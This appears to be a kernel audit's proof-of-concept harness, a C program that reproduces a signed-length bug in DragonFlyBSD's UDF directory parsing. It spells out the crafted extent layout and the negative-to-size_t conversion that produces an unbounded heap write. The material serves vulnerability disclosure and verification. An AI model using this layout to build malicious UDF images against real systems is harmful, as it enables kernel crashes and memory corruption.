DragonFlyBSD Kernel Audit
DF-0831 / harness.c
← back to finding ↓ download raw
/*
 * DF-0831 deterministic harness.
 *
 * This transcribes the EXACT arithmetic of udf_getfid()
 * (sys/vfs/udf/udf_vnops.c:498-610) on the default GENERIC kernel:
 *
 *   - the 4-byte FID alignment at :605 can push ds->off up to 3 bytes
 *     PAST ds->size (the end of the current directory extent);
 *   - because the end-of-directory test at :505 compares against fsize
 *     (the multi-extent directory's total info_len) instead of ds->size,
 *     a multi-extent directory does NOT terminate, so execution reaches
 *     the fragmented-FID branch;
 *   - there frag_size = ds->size - ds->off becomes a NEGATIVE int (-1/-2/-3);
 *   - the guard `if (frag_size >= bsize)` at :544 is a SIGNED comparison,
 *     so -3 >= 2048 is false and the check is BYPASSED;
 *   - bcopy(fid, ds->buf, frag_size) at :555 sign-extends the negative int
 *     to size_t == 0xFFFFFFFFFFFFFFFD on 64-bit -> catastrophic heap write.
 *
 * This harness proves the primitive without needing a real UDF image: it
 * builds the exact extent-0 byte layout (two FIDs, the second non-aligned),
 * drives the udf_getfid() state machine one FID at a time, and on the third
 * call reproduces the negative frag_size / signed-check bypass / size_t
 * blow-up.  A poison allocator (mmap of one page followed by a PROT_NONE
 * guard page) makes the bcopy overrun fault EXACTLY at the buffer boundary
 * instead of scribbling over the C library, proving the write is unbounded.
 *
 * Build:  cc -O2 -Wall -o harness harness.c
 * Run:    ./harness
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <signal.h>
#include <setjmp.h>
#include <sys/mman.h>
#include <unistd.h>

#define UDF_FID_SIZE   38
#define BSIZE          2048          /* udfmp->bsize */
#define EXTENT0_BYTES  81            /* chosen so FID_B fits but aligned size overshoots by 3 */

/* ---- verbatim struct fileid_desc from ecma167-udf.h:312 ---- */
struct fileid_desc {
    uint8_t  tag[16];
    uint16_t file_num;
    uint8_t  file_char;
    uint8_t  l_fi;
    uint8_t  icb[16];                /* long_ad */
    uint16_t l_iu;
    uint8_t  data[1];
} __attribute__((packed));

/* ---- verbatim struct udf_dirstream from udf.h:64 ---- */
struct udf_dirstream {
    uint8_t *data;        /* bp->b_data for current extent */
    uint8_t *buf;         /* kmalloc(bsize) scratch for fragmented FIDs */
    int      fsize;       /* node->fentry->inf_len  (multi-extent total) */
    int      off;         /* cursor within current extent            */
    int      offset;      /* byte offset of current extent start     */
    int      size;        /* bytes available in current extent       */
    int      fid_fragment;
};

static jmp_buf jb;
static volatile int got_fault;
static void	handler(int s){ (void)s; got_fault = 1; longjmp(jb,1); }

/* poison allocator: one RW page then a PROT_NONE guard page.  Any write
 * past exactly one page faults -> proves the bcopy length is unbounded. */
static uint8_t *poison_alloc(void)
{
    size_t pg = 4096;                  /* x86_64 page size */
    size_t two = pg * 2;
    uint8_t *m = mmap(NULL, two, PROT_READ|PROT_WRITE,
                      MAP_PRIVATE|MAP_ANON, -1, 0);
    if (m == MAP_FAILED) { perror("mmap"); exit(2); }
    if (mprotect(m + pg, pg, PROT_NONE) != 0) { perror("mprotect"); exit(2); }
    return m;                          /* usable region is exactly [m, m+pg) */
}

/* Build extent-0 exactly as the crafted UDF image would lay it out:
 *   FID_A  parent entry, l_fi=0, l_iu=0  -> total_fid_size=38, aligned 40
 *   FID_B  name "abc",  l_fi=3, l_iu=0  -> total_fid_size=41, aligned 44
 * Extent is EXTENT0_BYTES (81) wide so that 40+41=81 fits (<=81) but the
 * aligned advance 40+44=84 overshoots ds->size by exactly 3. */
static void build_extent0(uint8_t *p)
{
    /* FID_A at offset 0 (parent) */
    struct fileid_desc *a = (void *)(p + 0);
    memset(a, 0, UDF_FID_SIZE);
    a->file_char = 0x08 /*PARENT*/ | 0x01 /*VIS*/;
    a->l_fi = 0; a->l_iu = 0;

    /* FID_B at offset 40 (normal entry, name len 3) */
    struct fileid_desc *b = (void *)(p + 40);
    memset(b, 0, UDF_FID_SIZE + 3);
    b->file_char = 0x01 /*VIS*/;
    b->l_fi = 3; b->l_iu = 0;
    b->data[0]='a'; b->data[1]='b'; b->data[2]='c';
}

/* One udf_getfid() iteration -- transcribed verbatim from
 * udf_vnops.c:498-610 (only the lines that touch the bug). */
static const char *udf_getfid(struct udf_dirstream *ds, int *frag_out,
                              size_t *bcopy_len_out, int *bypass_out)
{
    int frag_size = 0, total_fid_size;
    struct fileid_desc *fid;

    /* :505  End of directory?  (uses fsize, NOT size) */
    if (ds->offset + ds->off >= ds->fsize) return "END_OF_DIR";

    /* :532  point at current FID */
    fid = (struct fileid_desc *)&ds->data[ds->off];

    /* :539-540  fragmented if FID header or full FID does not fit in extent */
    if (ds->off + UDF_FID_SIZE > ds->size ||
        ds->off + fid->l_iu + fid->l_fi + UDF_FID_SIZE > ds->size) {

        /* :543  NEGATIVE when ds->off overshot ds->size */
        frag_size = ds->size - ds->off;
        *frag_out = frag_size;

        /* :544  SIGNED int comparison -> -3 >= 2048 is FALSE -> bypass */
        *bypass_out = (frag_size >= BSIZE) ? 0 /*not bypassed*/ : 1 /*BYPASSED*/;

        /* :554-555  kmalloc(bsize) then bcopy(..., frag_size) where frag_size
         *           is implicit int->size_t sign-extension = 0xFFFFFFFF...FD.
         * We capture the values and DO NOT execute bcopy here -- it would
         * write ~16 EB and segfault the harness.  main() demonstrates the
         * overrun in a setjmp-guarded poison region. */
        ds->buf = poison_alloc();
        *bcopy_len_out = (size_t)frag_size;       /* THE bug */
        return "BCOPY_ARMED";
    } else {
        /* :597 non-fragmented */
        total_fid_size = fid->l_iu + fid->l_fi + UDF_FID_SIZE;
    }

    /* :605  4-byte alignment -- the overshoot source */
    ds->off += (total_fid_size + 3) & ~0x03;
    return "OK";
}

int main(void)
{
    signal(SIGSEGV, handler);
    signal(SIGBUS,  handler);

    uint8_t *extent0 = calloc(1, BSIZE);
    build_extent0(extent0);

    struct udf_dirstream ds;
    memset(&ds, 0, sizeof ds);
    ds.data    = extent0;
    ds.size    = EXTENT0_BYTES;          /* what udf_readatoffset returned */
    ds.offset  = 0;                       /* extent starts at byte 0 */
    ds.fsize   = EXTENT0_BYTES + 16;      /* inf_len: extent1 follows (16B) */

    printf("== DF-0831 primitive harness ==\n");
    printf("bsize=%d  extent0(ds->size)=%d  fsize(inf_len)=%d\n",
           BSIZE, ds.size, ds.fsize);

    const char *r; int frag=0, bypass=0; size_t blen=0;
    int call;
    for (call = 1; call <= 4; call++) {
        printf("\n--- udf_getfid() call #%d  (ds->off=%d) ---\n", call, ds.off);
        r = udf_getfid(&ds, &frag, &blen, &bypass);
        if (!strcmp(r, "OK")) {
            printf("  non-fragmented FID processed; aligned advance -> ds->off=%d",
                   ds.off);
            if (ds.off > ds.size) printf("  *** OVERSHOOT by %d (ds->size=%d) ***",
                                         ds.off - ds.size, ds.size);
            printf("\n");
            continue;
        }
        if (!strcmp(r, "END_OF_DIR")) { printf("  end-of-dir (would not happen on multi-extent)\n"); break; }
        if (!strcmp(r, "BCOPY_ARMED")) {
            printf("  frag_size(int)       = %d\n", frag);
            printf("  (size_t)frag_size    = 0x%016zx  (%zu bytes)\n", blen, blen);
            printf("  signed check `frag_size>=bsize` -> %s\n",
                   bypass ? "BYPASSED (negative < bsize)" : "TRIGGERED");
            break;
        }
    }

    /* Demonstrate the unbounded overrun in a setjmp-guarded poison region:
     * ds->buf is one RW page followed by a PROT_NONE guard page, so bcopy of
     * 0xfffffffffffffffd bytes faults EXACTLY as it crosses the page boundary,
     * proving the write is not clamped to the allocated buffer. */
    printf("\n--- demonstrating bcopy overrun into poison region ---\n");
    if (ds.buf) {
        got_fault = 0;
        if (setjmp(jb) == 0) {
            struct fileid_desc *fid = (struct fileid_desc *)&ds.data[ds.off];
            bcopy(fid, ds.buf, blen);   /* the real bug: ~16 EB write */
            printf("  (no fault -- unexpected)\n");
        } else {
            printf("  FAULT caught: bcopy of 0x%016zx bytes crossed the buffer\n", blen);
            printf("  boundary -> SIGSEGV/SIGBUS, exactly as the kernel page-faults.\n");
        }
    }

    printf("\n== PROOF ==\n");
    printf("frag_size arithmetic ds->size(%d) - ds->off(%d) = %d (NEGATIVE)\n",
           EXTENT0_BYTES, ds.off, EXTENT0_BYTES - ds.off);
    printf("signed guard `frag_size(%d) >= bsize(%d)` evaluates %s -> check BYPASSED\n",
           EXTENT0_BYTES - ds.off, BSIZE,
           (EXTENT0_BYTES - ds.off) >= BSIZE ? "TRUE" : "FALSE");
    printf("bcopy length as size_t = 0x%016zx (%.0f EB) -> unbounded kernel heap write past ds->buf\n",
           (size_t)(EXTENT0_BYTES - ds.off),
           (double)(size_t)(EXTENT0_BYTES - ds.off) / (1024.0*1024*1024*1024*1024*1024));
    printf("On the kernel this is a page fault in bcopy() -> panic.\n");
    return 0;
}